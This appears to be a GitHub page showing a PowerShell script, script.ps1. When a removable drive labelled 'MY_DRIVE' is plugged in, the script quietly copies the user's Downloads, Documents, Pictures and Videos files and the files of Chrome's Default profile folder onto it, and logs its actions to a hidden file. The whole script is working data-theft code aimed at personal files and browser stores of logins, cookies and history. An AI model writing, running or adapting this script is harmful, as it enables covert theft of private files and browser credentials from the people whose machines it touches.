-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathscript.ps1
More file actions
70 lines (66 loc) · 2.62 KB
/
script.ps1
File metadata and controls
70 lines (66 loc) · 2.62 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
param(
[string]$DriveLabel = 'MY_DRIVE',
[string[]]$SourceFolders = @(
"$env:USERPROFILE\Downloads",
"$env:USERPROFILE\Documents",
"$env:USERPROFILE\Pictures",
"$env:USERPROFILE\Videos",
"$env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default"
),
[string]$DestinationSubfolder = 'Data',
[long]$MaxFileSize = 10485760
)
function Write-Log {
param(
[string]$Message,
[string]$LogPath
)
$timestamp = (Get-Date).ToString("yyyy-MM-dd HH:mm:ss")
Add-Content -Path $LogPath -Value "[$timestamp] $Message"
}
$drive = [System.IO.DriveInfo]::GetDrives() | Where-Object {
$_.DriveType -eq 'Removable' -and $_.IsReady -and $_.VolumeLabel -eq $DriveLabel
} | Select-Object -First 1
if ($drive) {
$destRoot = Join-Path $drive.Name $DestinationSubfolder
if (-not (Test-Path $destRoot)) { New-Item -Path $destRoot -ItemType Directory -Force | Out-Null }
$logFile = Join-Path $destRoot "log.txt"
if (-not (Test-Path $logFile)) {
New-Item -Path $logFile -ItemType File -Force | Out-Null
(Get-Item $logFile).Attributes += 'Hidden'
}
Write-Log "USB drive '$DriveLabel' detected at $($drive.Name)" $logFile
Write-Log "Execution started." $logFile
foreach ($folder in $SourceFolders) {
if (Test-Path $folder) {
$subfolderName = Split-Path $folder -Leaf
$dest = Join-Path $destRoot $subfolderName
if (-not (Test-Path $dest)) {
New-Item -Path $dest -ItemType Directory -Force | Out-Null
Write-Log "Created folder: $dest" $logFile
}
$filesToCopy = New-Object System.Collections.Generic.List[string]
foreach ($file in [System.IO.Directory]::EnumerateFiles($folder)) {
try {
$fi = [System.IO.FileInfo] $file
if ($fi.Length -lt $MaxFileSize) { $filesToCopy.Add($file) }
}
catch {
Write-Log "Error accessing: $file" $logFile
}
}
if ($filesToCopy.Count -gt 0) {
Copy-Item -Path $filesToCopy.ToArray() -Destination $dest -Force
Write-Log "Copied $($filesToCopy.Count) file(s) from $folder to $dest" $logFile
}
}
else {
Write-Log "Folder not found: $folder" $logFile
}
}
Write-Log "Operation completed successfully." $logFile
}
else {
$tempLog = Join-Path $env:TEMP "usb_log.txt"
"[$((Get-Date).ToString('yyyy-MM-dd HH:mm:ss'))] USB drive '$DriveLabel' not found." | Out-File -FilePath $tempLog -Append
}